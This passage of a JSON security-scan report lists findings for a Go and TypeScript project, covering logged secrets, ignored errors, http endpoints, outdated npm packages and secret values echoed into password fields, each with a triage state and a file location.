113381, "scanner": "repobility-threat-engine", "fingerprint": "2a7b0c290208c65b4e10276d4ae3038735766503859731ca805872b00e2d47f4", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "js-console-log-prod", "owasp": null, "cwe_ids": ["CWE-532"], "languages": ["javascript", "typescript", "tsx", "jsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348003+00:00", "triaged_in_corpus": 10, "observations_count": 1940833, "ai_coder_pattern_id": 102}, "scanner": "repobility-threat-engine", "correlation_key": "fp|2a7b0c290208c65b4e10276d4ae3038735766503859731ca805872b00e2d47f4"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "skills/clawvisor/e2e.mjs"}, "region": {"startLine": 216}}}]}, {"ruleId": "SEC001", "level": "none", "message": {"text": "[SEC001] Hardcoded Password: Hardcoded password found in source code."}, "properties": {"repobilityId": 113380, "scanner": "repobility-threat-engine", "fingerprint": "6ce6151e73021d1e600cdd3a6cb021f272149939d10d07c240e91b2dc6999803", "category": "credential_exposure", "severity": "info", "confidence": 0.15, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Value looks like a development placeholder, not a live credential", "evidence": {"match": "PASSWORD='<redacted>'", "reason": "Value looks like a development placeholder, not a live credential", "rule_id": "SEC001", "scanner": "repobility-threat-engine", "confidence": 0.15, "correlation_key": "secret|security/zap/run-scan.sh|2|password redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "security/zap/run-scan.sh"}, "region": {"startLine": 29}}}]}, {"ruleId": "MINED049", "level": "none", "message": {"text": "[MINED049] Print Pii: Logging password/token/email/ssn directly to stdout."}, "properties": {"repobilityId": 113370, "scanner": "repobility-threat-engine", "fingerprint": "49f5116ce4ee69aeb58f3ba6a18f90a38d0614e3e8a288236972e2044a30744d", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "print-pii", "owasp": "A09:2021", "cwe_ids": ["CWE-532"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348015+00:00", "triaged_in_corpus": 12, "observations_count": 676566, "ai_coder_pattern_id": 26}, "scanner": "repobility-threat-engine", "correlation_key": "fp|49f5116ce4ee69aeb58f3ba6a18f90a38d0614e3e8a288236972e2044a30744d"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/live-codex-secret-smoke.sh"}, "region": {"startLine": 53}}}]}, {"ruleId": "MINED049", "level": "none", "message": {"text": "[MINED049] Print Pii: Logging password/token/email/ssn directly to stdout."}, "properties": {"repobilityId": 113369, "scanner": "repobility-threat-engine", "fingerprint": "ffe7cb0aa34b17f9ad6c69751d22c5ce32ccd140719cbd0f91512e8712926251", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "print-pii", "owasp": "A09:2021", "cwe_ids": ["CWE-532"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348015+00:00", "triaged_in_corpus": 12, "observations_count": 676566, "ai_coder_pattern_id": 26}, "scanner": "repobility-threat-engine", "correlation_key": "fp|ffe7cb0aa34b17f9ad6c69751d22c5ce32ccd140719cbd0f91512e8712926251"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/clawvisorcli/cmd_tui.go"}, "region": {"startLine": 107}}}]}, {"ruleId": "SEC020", "level": "none", "message": {"text": "[SEC020] Secret Printed to Logs (and 3 more): Same pattern found in 3 additional files. Review if needed."}, "properties": {"repobilityId": 113368, "scanner": "repobility-threat-engine", "fingerprint": "501876d43fbaf15c6d4055194dcce53c187c4dbbef78a664b67e46162788cb51", "category": "credential_exposure", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 3 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"reason": "Deduplicated summary only: 3 additional occurrences found. The top occurrences remain visible as actionable findings.", "rule_id": "SEC020", "scanner": "repobility-threat-engine", "confidence": 0.2, "correlation_key": "fp|501876d43fbaf15c6d4055194dcce53c187c4dbbef78a664b67e46162788cb51"}}}, {"ruleId": "SEC020", "level": "none", "message": {"text": "[SEC020] Secret Printed to Logs: Debug or diagnostic code appears to print a credential-bearing value. This is a frequent AI-assisted coding failure: the helper exposes the exact value needed for troubleshooting."}, "properties": {"repobilityId": 113367, "scanner": "repobility-threat-engine", "fingerprint": "38afb642451a8d7bbf1f930a9cb2b5c5e4323ea4f3c63cac7fcd19f86f8a4708", "category": "credential_exposure", "severity": "info", "confidence": 0.15, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Log message mentions credential-related metadata but does not print a credential-bearing value", "evidence": {"match": "print((entry.get(\"token\")", "reason": "Log message mentions credential-related metadata but does not print a credential-bearing value", "rule_id": "SEC020", "scanner": "repobility-threat-engine", "confidence": 0.15, "correlation_key": "secret|token|5|print entry.get token"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/live-codex-secret-smoke.sh"}, "region": {"startLine": 53}}}]}, {"ruleId": "SEC020", "level": "none", "message": {"text": "[SEC020] Secret Printed to Logs: Debug or diagnostic code appears to print a credential-bearing value. This is a frequent AI-assisted coding failure: the helper exposes the exact value needed for troubleshooting."}, "properties": {"repobilityId": 113366, "scanner": "repobility-threat-engine", "fingerprint": "45ac450549274d663acfaed89f3b3998e5a27c898ada99b98eef64201e7b5088", "category": "credential_exposure", "severity": "info", "confidence": 0.15, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Log message mentions credential-related metadata but does not print a credential-bearing value", "evidence": {"match": "Print(\"Password: \"<redacted>", "reason": "Log message mentions credential-related metadata but does not print a credential-bearing value", "rule_id": "SEC020", "scanner": "repobility-threat-engine", "confidence": 0.15, "correlation_key": "secret|token|10|print password: redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/clawvisorcli/cmd_tui.go"}, "region": {"startLine": 107}}}]}, {"ruleId": "SEC093", "level": "none", "message": {"text": "[SEC093] Go: exec.Command with non-literal (and 4 more): Same pattern found in 4 additional files. Review if needed."}, "properties": {"repobilityId": 113364, "scanner": "repobility-threat-engine", "fingerprint": "619acb3201f4c19dca688f3042f2d2735441f80bf5b46f98f6e33092fc04329f", "category": "quality", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 4 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"reason": "Deduplicated summary only: 4 additional occurrences found. The top occurrences remain visible as actionable findings.", "rule_id": "SEC093", "scanner": "repobility-threat-engine", "confidence": 0.2, "correlation_key": "fp|619acb3201f4c19dca688f3042f2d2735441f80bf5b46f98f6e33092fc04329f"}}}, {"ruleId": "MINED071", "level": "none", "message": {"text": "[MINED071] Go Panic Call: panic() crashes the process. Should return error in most cases."}, "properties": {"repobilityId": 113357, "scanner": "repobility-threat-engine", "fingerprint": "0e8b956847f344a1bed0db569f8b847082a19a6e75e72cfcb592f9f0fe72ecb5", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-panic-call", "owasp": null, "cwe_ids": ["CWE-755"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348067+00:00", "triaged_in_corpus": 12, "observations_count": 29174, "ai_coder_pattern_id": 108}, "scanner": "repobility-threat-engine", "correlation_key": "fp|0e8b956847f344a1bed0db569f8b847082a19a6e75e72cfcb592f9f0fe72ecb5"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "pkg/runtime/proxy/certcache.go"}, "region": {"startLine": 143}}}]}, {"ruleId": "MINED071", "level": "none", "message": {"text": "[MINED071] Go Panic Call: panic() crashes the process. Should return error in most cases."}, "properties": {"repobilityId": 113356, "scanner": "repobility-threat-engine", "fingerprint": "8d2b87de68d1c79ade4913b5a0442dc6a9b8ab8a8ab46b62627eaadce3470367", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-panic-call", "owasp": null, "cwe_ids": ["CWE-755"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348067+00:00", "triaged_in_corpus": 12, "observations_count": 29174, "ai_coder_pattern_id": 108}, "scanner": "repobility-threat-engine", "correlation_key": "fp|8d2b87de68d1c79ade4913b5a0442dc6a9b8ab8a8ab46b62627eaadce3470367"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/middleware/recover.go"}, "region": {"startLine": 21}}}]}, {"ruleId": "SEC128", "level": "none", "message": {"text": "[SEC128] Async function without await \u2014 fire-and-forget Promise (AI mistake) (and 4 more): Same pattern found in 4 additional files. Review if needed."}, "properties": {"repobilityId": 113355, "scanner": "repobility-threat-engine", "fingerprint": "384b13d01eca021cad8caa867cbe69ee4fc1353f389030e2ca3b6fe8412f11af", "category": "quality", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 4 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"reason": "Deduplicated summary only: 4 additional occurrences found. The top occurrences remain visible as actionable findings.", "rule_id": "SEC128", "scanner": "repobility-threat-engine", "confidence": 0.2, "correlation_key": "fp|384b13d01eca021cad8caa867cbe69ee4fc1353f389030e2ca3b6fe8412f11af"}}}, {"ruleId": "SEC085", "level": "none", "message": {"text": "[SEC085] JS: child_process.exec with non-literal (and 5 more): Same pattern found in 5 additional files. Review if needed."}, "properties": {"repobilityId": 113351, "scanner": "repobility-threat-engine", "fingerprint": "f0f1912fabc03e8b42b281439b24cb65b4b95c00e24de98dbc05ebdccb4b8c1d", "category": "quality", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 5 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"reason": "Deduplicated summary only: 5 additional occurrences found. The top occurrences remain visible as actionable findings.", "rule_id": "SEC085", "scanner": "repobility-threat-engine", "confidence": 0.2, "correlation_key": "fp|f0f1912fabc03e8b42b281439b24cb65b4b95c00e24de98dbc05ebdccb4b8c1d"}}}, {"ruleId": "SEC045", "level": "none", "message": {"text": "[SEC045] eval()/exec() on stored or user-supplied data (and 5 more): Same pattern found in 5 additional files. Review if needed."}, "properties": {"repobilityId": 113347, "scanner": "repobility-threat-engine", "fingerprint": "7ad821c68fd7d69c56ceaf843dc975879999279796dea3d5e69af832688addea", "category": "injection", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 5 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"reason": "Deduplicated summary only: 5 additional occurrences found. The top occurrences remain visible as actionable findings.", "rule_id": "SEC045", "scanner": "repobility-threat-engine", "confidence": 0.2, "correlation_key": "fp|7ad821c68fd7d69c56ceaf843dc975879999279796dea3d5e69af832688addea"}}}, {"ruleId": "MINED060", "level": "none", "message": {"text": "[MINED060] Go Context No Cancel (and 29 more): Same pattern found in 29 additional files. Review if needed."}, "properties": {"repobilityId": 113343, "scanner": "repobility-threat-engine", "fingerprint": "71d805acd28be5811367a351dd200e6660eea2a4e7f5d13a0a379fb774b5fcaa", "category": "quality", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 29 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"mined": true, "mining": {"slug": "go-context-no-cancel", "owasp": null, "cwe_ids": ["CWE-401"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348041+00:00", "triaged_in_corpus": 12, "observations_count": 132905, "ai_coder_pattern_id": 110}, "scanner": "repobility-threat-engine", "aggregated": true, "correlation_key": "fp|71d805acd28be5811367a351dd200e6660eea2a4e7f5d13a0a379fb774b5fcaa", "aggregated_count": 29}}}, {"ruleId": "MINED060", "level": "none", "message": {"text": "[MINED060] Go Context No Cancel: context.Background() at request handler boundary leaks goroutines."}, "properties": {"repobilityId": 113342, "scanner": "repobility-threat-engine", "fingerprint": "7b65c4bd7b0c47e3ad087cdac74a5017ecd7d850f455c8b26b1332299905d801", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-context-no-cancel", "owasp": null, "cwe_ids": ["CWE-401"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348041+00:00", "triaged_in_corpus": 12, "observations_count": 132905, "ai_coder_pattern_id": 110}, "scanner": "repobility-threat-engine", "correlation_key": "fp|7b65c4bd7b0c47e3ad087cdac74a5017ecd7d850f455c8b26b1332299905d801"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/dedup_cache_redis.go"}, "region": {"startLine": 27}}}]}, {"ruleId": "MINED060", "level": "none", "message": {"text": "[MINED060] Go Context No Cancel: context.Background() at request handler boundary leaks goroutines."}, "properties": {"repobilityId": 113341, "scanner": "repobility-threat-engine", "fingerprint": "1d1f5a77ca891bdbcb386951c92a6ae3f4fcc69ef39b500f5ad30621e2a93bd9", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-context-no-cancel", "owasp": null, "cwe_ids": ["CWE-401"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348041+00:00", "triaged_in_corpus": 12, "observations_count": 132905, "ai_coder_pattern_id": 110}, "scanner": "repobility-threat-engine", "correlation_key": "fp|1d1f5a77ca891bdbcb386951c92a6ae3f4fcc69ef39b500f5ad30621e2a93bd9"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/claim_cache_redis.go"}, "region": {"startLine": 33}}}]}, {"ruleId": "MINED060", "level": "none", "message": {"text": "[MINED060] Go Context No Cancel: context.Background() at request handler boundary leaks goroutines."}, "properties": {"repobilityId": 113340, "scanner": "repobility-threat-engine", "fingerprint": "12f580770622fe6aa6967aab42fc5fa6d3e989d21f176b63069057e9f47c76a7", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-context-no-cancel", "owasp": null, "cwe_ids": ["CWE-401"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348041+00:00", "triaged_in_corpus": 12, "observations_count": 132905, "ai_coder_pattern_id": 110}, "scanner": "repobility-threat-engine", "correlation_key": "fp|12f580770622fe6aa6967aab42fc5fa6d3e989d21f176b63069057e9f47c76a7"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/async.go"}, "region": {"startLine": 146}}}]}, {"ruleId": "MINED043", "level": "none", "message": {"text": "[MINED043] Http Not Https (and 4 more): Same pattern found in 4 additional files. Review if needed."}, "properties": {"repobilityId": 113336, "scanner": "repobility-threat-engine", "fingerprint": "133d0321df668823d68fda7a262cc53d13053f2174d79a753e1fabffb7f20eec", "category": "quality", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 4 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"mined": true, "mining": {"slug": "http-not-https", "owasp": "A02:2021", "cwe_ids": ["CWE-319"], "precision": 0.917, "promoted_at": "2026-05-18T14:01:32.347999+00:00", "triaged_in_corpus": 12, "observations_count": 4113831, "ai_coder_pattern_id": 15}, "scanner": "repobility-threat-engine", "aggregated": true, "correlation_key": "fp|133d0321df668823d68fda7a262cc53d13053f2174d79a753e1fabffb7f20eec", "aggregated_count": 4}}}, {"ruleId": "MINED043", "level": "none", "message": {"text": "[MINED043] Http Not Https: Hardcoded http:// (not localhost) for endpoints that handle credentials or data."}, "properties": {"repobilityId": 113335, "scanner": "repobility-threat-engine", "fingerprint": "7b6cc99dea610a960dce2f7442379de923951fc88f6b5ee71568acfaa52bf3ed", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "http-not-https", "owasp": "A02:2021", "cwe_ids": ["CWE-319"], "precision": 0.917, "promoted_at": "2026-05-18T14:01:32.347999+00:00", "triaged_in_corpus": 12, "observations_count": 4113831, "ai_coder_pattern_id": 15}, "scanner": "repobility-threat-engine", "correlation_key": "fp|7b6cc99dea610a960dce2f7442379de923951fc88f6b5ee71568acfaa52bf3ed"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/daemon/keygen.go"}, "region": {"startLine": 79}}}]}, {"ruleId": "MINED043", "level": "none", "message": {"text": "[MINED043] Http Not Https: Hardcoded http:// (not localhost) for endpoints that handle credentials or data."}, "properties": {"repobilityId": 113334, "scanner": "repobility-threat-engine", "fingerprint": "132af1640d2e1f09db9cb300d3c41b4dadf5378ef33176c4d6f4e180c32014d2", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "http-not-https", "owasp": "A02:2021", "cwe_ids": ["CWE-319"], "precision": 0.917, "promoted_at": "2026-05-18T14:01:32.347999+00:00", "triaged_in_corpus": 12, "observations_count": 4113831, "ai_coder_pattern_id": 15}, "scanner": "repobility-threat-engine", "correlation_key": "fp|132af1640d2e1f09db9cb300d3c41b4dadf5378ef33176c4d6f4e180c32014d2"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/mobileconfig.go"}, "region": {"startLine": 181}}}]}, {"ruleId": "MINED043", "level": "none", "message": {"text": "[MINED043] Http Not Https: Hardcoded http:// (not localhost) for endpoints that handle credentials or data."}, "properties": {"repobilityId": 113333, "scanner": "repobility-threat-engine", "fingerprint": "97bf1ecd41da798369fee04ca104fde353b10abf6a058ee4a3cee32092e54ecf", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "http-not-https", "owasp": "A02:2021", "cwe_ids": ["CWE-319"], "precision": 0.917, "promoted_at": "2026-05-18T14:01:32.347999+00:00", "triaged_in_corpus": 12, "observations_count": 4113831, "ai_coder_pattern_id": 15}, "scanner": "repobility-threat-engine", "correlation_key": "fp|97bf1ecd41da798369fee04ca104fde353b10abf6a058ee4a3cee32092e54ecf"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/adaptergen.go"}, "region": {"startLine": 156}}}]}, {"ruleId": "SEC029", "level": "none", "message": {"text": "[SEC029] Server-Side Request Forgery (SSRF) \u2014 outbound HTTP from user input (and 11 more): Same pattern found in 11 additional files. Review if needed."}, "properties": {"repobilityId": 113332, "scanner": "repobility-threat-engine", "fingerprint": "6e6b1fa9aa37cd5353c53477b8935ccc1c8f42b61f420ebd0ceb44871ba243eb", "category": "ssrf", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 11 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"reason": "Deduplicated summary only: 11 additional occurrences found. The top occurrences remain visible as actionable findings.", "rule_id": "SEC029", "scanner": "repobility-threat-engine", "confidence": 0.2, "correlation_key": "fp|6e6b1fa9aa37cd5353c53477b8935ccc1c8f42b61f420ebd0ceb44871ba243eb"}}}, {"ruleId": "ERR003", "level": "none", "message": {"text": "[ERR003] Ignored Error (Go) (and 43 more): Same pattern found in 43 additional files. Review if needed."}, "properties": {"repobilityId": 113328, "scanner": "repobility-threat-engine", "fingerprint": "5db5716bf23b49d8b3af0c0e4043f2cd9fd1dd6b268f280d8f942887a06c0928", "category": "error_handling", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 43 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"reason": "Deduplicated summary only: 43 additional occurrences found. The top occurrences remain visible as actionable findings.", "rule_id": "ERR003", "scanner": "repobility-threat-engine", "confidence": 0.2, "correlation_key": "fp|5db5716bf23b49d8b3af0c0e4043f2cd9fd1dd6b268f280d8f942887a06c0928"}}}, {"ruleId": "MINED016", "level": "none", "message": {"text": "[MINED016] Go Error Ignored (and 8 more): Same pattern found in 8 additional files. Review if needed."}, "properties": {"repobilityId": 113322, "scanner": "repobility-threat-engine", "fingerprint": "d6f8d5f377e4c3dbd05d51925f647bbfd47b40822b8d5e5bc4fb8c1b1c73b82c", "category": "quality", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 8 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"mined": true, "mining": {"slug": "go-error-ignored", "owasp": null, "cwe_ids": ["CWE-754"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.347935+00:00", "triaged_in_corpus": 15, "observations_count": 83036, "ai_coder_pattern_id": 107}, "scanner": "repobility-threat-engine", "aggregated": true, "correlation_key": "fp|d6f8d5f377e4c3dbd05d51925f647bbfd47b40822b8d5e5bc4fb8c1b1c73b82c", "aggregated_count": 8}}}, {"ruleId": "DEPCUR-NPM", "level": "none", "message": {"text": "npm package `postcss` is patch version(s) behind (8.5.14 -> 8.5.15)"}, "properties": {"repobilityId": 113313, "scanner": "repobility-dependency-currency", "fingerprint": "5b2b1528c95c85b2d6414dc0532c93b2136aac65530c6bf9c90cbce2d9ba23d2", "category": "dependency", "severity": "info", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"gap": "patch version(s) behind", "signal": "currency", "cwe_ids": [], "package": "postcss", "scanner": "repobility-dependency-currency", "ecosystem": "npm", "languages": ["javascript"], "latest_version": "8.5.15", "correlation_key": "fp|5b2b1528c95c85b2d6414dc0532c93b2136aac65530c6bf9c90cbce2d9ba23d2", "current_version": "8.5.14"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/package.json"}, "region": {"startLine": 1}}}]}, {"ruleId": "DEPCUR-NPM", "level": "none", "message": {"text": "npm package `dompurify` is patch version(s) behind (3.4.0 -> 3.4.8)"}, "properties": {"repobilityId": 113308, "scanner": "repobility-dependency-currency", "fingerprint": "7785556fbffaff237d54fc8f87a1228a9ae027d3f27ac821b937cc23dcfa3439", "category": "dependency", "severity": "info", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"gap": "patch version(s) behind", "signal": "currency", "cwe_ids": [], "package": "dompurify", "scanner": "repobility-dependency-currency", "ecosystem": "npm", "languages": ["javascript"], "latest_version": "3.4.8", "correlation_key": "fp|7785556fbffaff237d54fc8f87a1228a9ae027d3f27ac821b937cc23dcfa3439", "current_version": "3.4.0"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/package.json"}, "region": {"startLine": 1}}}]}, {"ruleId": "DEPCUR-NPM", "level": "none", "message": {"text": "npm package `@codemirror/lang-yaml` is patch version(s) behind (6.1.2 -> 6.1.3)"}, "properties": {"repobilityId": 113306, "scanner": "repobility-dependency-currency", "fingerprint": "63a47fcab20de3dfcfe85753bf0c4efe486a82719607e56d97dc99c299113885", "category": "dependency", "severity": "info", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"gap": "patch version(s) behind", "signal": "currency", "cwe_ids": [], "package": "@codemirror/lang-yaml", "scanner": "repobility-dependency-currency", "ecosystem": "npm", "languages": ["javascript"], "latest_version": "6.1.3", "correlation_key": "fp|63a47fcab20de3dfcfe85753bf0c4efe486a82719607e56d97dc99c299113885", "current_version": "6.1.2"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/package.json"}, "region": {"startLine": 1}}}]}, {"ruleId": "JRN009", "level": "error", "message": {"text": "Secret-like setting is echoed into a password input value"}, "properties": {"repobilityId": 113609, "scanner": "repobility-journey-contract", "fingerprint": "6a3690661a0ffe82ae3ee359801adf6b9b275d156eebbea8f76f62be059027c9", "category": "auth", "severity": "high", "confidence": 0.83, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "A password or secret-named input is populated from a secret-like variable instead of a masked placeholder.", "evidence": {"rule_id": "JRN009", "scanner": "repobility-journey-contract", "references": ["https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html"], "correlation_key": "code|auth|web/src/pages/setupauth.tsx|145|jrn009"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/SetupAuth.tsx"}, "region": {"startLine": 145}}}]}, {"ruleId": "JRN009", "level": "error", "message": {"text": "Secret-like setting is echoed into a password input value"}, "properties": {"repobilityId": 113608, "scanner": "repobility-journey-contract", "fingerprint": "88e16443bf5f08309efd1d3bc5b2b69ff37380fb1a901529ffbdd5e871663b51", "category": "auth", "severity": "high", "confidence": 0.83, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "A password or secret-named input is populated from a secret-like variable instead of a masked placeholder.", "evidence": {"rule_id": "JRN009", "scanner": "repobility-journey-contract", "references": ["https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html"], "correlation_key": "code|auth|web/src/pages/settings.tsx|1437|jrn009"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Settings.tsx"}, "region": {"startLine": 1437}}}]}, {"ruleId": "JRN009", "level": "error", "message": {"text": "Secret-like setting is echoed into a password input value"}, "properties": {"repobilityId": 113607, "scanner": "repobility-journey-contract", "fingerprint": "0e8eb3dc93f433cd4aca5734d84c3fbc9003cac45c87aabbc120f02cf40f0d82", "category": "auth", "severity": "high", "confidence": 0.83, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "A password or secret-named input is populated from a secret-like variable instead of a masked placeholder.", "evidence": {"rule_id": "JRN009", "scanner": "repobility-journey-contract", "references": ["https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html"], "correlation_key": "code|auth|web/src/pages/settings.tsx|195|jrn009"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Settings.tsx"}, "region": {"startLine": 195}}}]}, {"ruleId": "JRN009", "level": "error", "message": {"text": "Secret-like setting is echoed into a password input value"}, "properties": {"repobilityId": 113606, "scanner": "repobility-journey-contract", "fingerprint": "d030ba534acb9956481078d05b0e15afc23060b4e57a5667bf0127b321874251", "category": "auth", "severity": "high", "confidence": 0.83, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "A password or secret-named input is populated from a secret-like variable instead of a masked placeholder.", "evidence": {"rule_id": "JRN009", "scanner": "repobility-journey-contract", "references": ["https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html"], "correlation_key": "code|auth|token|161|jrn009"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/ResetPassword.tsx"}, "region": {"startLine": 161}}}]}, {"ruleId": "JRN009", "level": "error", "message": {"text": "Secret-like setting is echoed into a password input value"}, "properties": {"repobilityId": 113605, "scanner": "repobility-journey-contract", "fingerprint": "1e67b904c803f008b4ce02237cb859b3a425dd44a9a7642008c2d46674814bf5", "category": "auth", "severity": "high", "confidence": 0.83, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "A password or secret-named input is populated from a secret-like variable instead of a masked placeholder.", "evidence": {"rule_id": "JRN009", "scanner": "repobility-journey-contract", "references": ["https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html"], "correlation_key": "code|auth|web/src/pages/register.tsx|104|jrn009"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Register.tsx"}, "region": {"startLine": 104}}}]}, {"ruleId": "JRN009", "level": "error", "message": {"text": "Secret-like setting is echoed into a password input value"}, "properties": {"repobilityId": 113604, "scanner": "repobility-journey-contract", "fingerprint": "2ba42db66723cf01636bc6f0c719f525877ec28766a055c33c4cb7e25d812d79", "category": "auth", "severity": "high", "confidence": 0.83, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "A password or secret-named input is populated from a secret-like variable instead of a masked placeholder.", "evidence": {"rule_id": "JRN009", "scanner": "repobility-journey-contract", "references": ["https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html"], "correlation_key": "code|auth|web/src/pages/login.tsx|146|jrn009"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Login.tsx"}, "region": {"startLine": 146}}}]}, {"ruleId": "JRN009", "level": "error", "message": {"text": "Secret-like setting is echoed into a password input value"}, "properties": {"repobilityId": 113603, "scanner": "repobility-journey-contract", "fingerprint": "99458f3378bfd02a79a27738d1a66a5034f5e30db684bc88d03a50362cf3de6d", "category": "auth", "severity": "high", "confidence": 0.83, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "A password or secret-named input is populated from a secret-like variable instead of a masked placeholder.", "evidence": {"rule_id": "JRN009", "scanner": "repobility-journey-contract", "references": 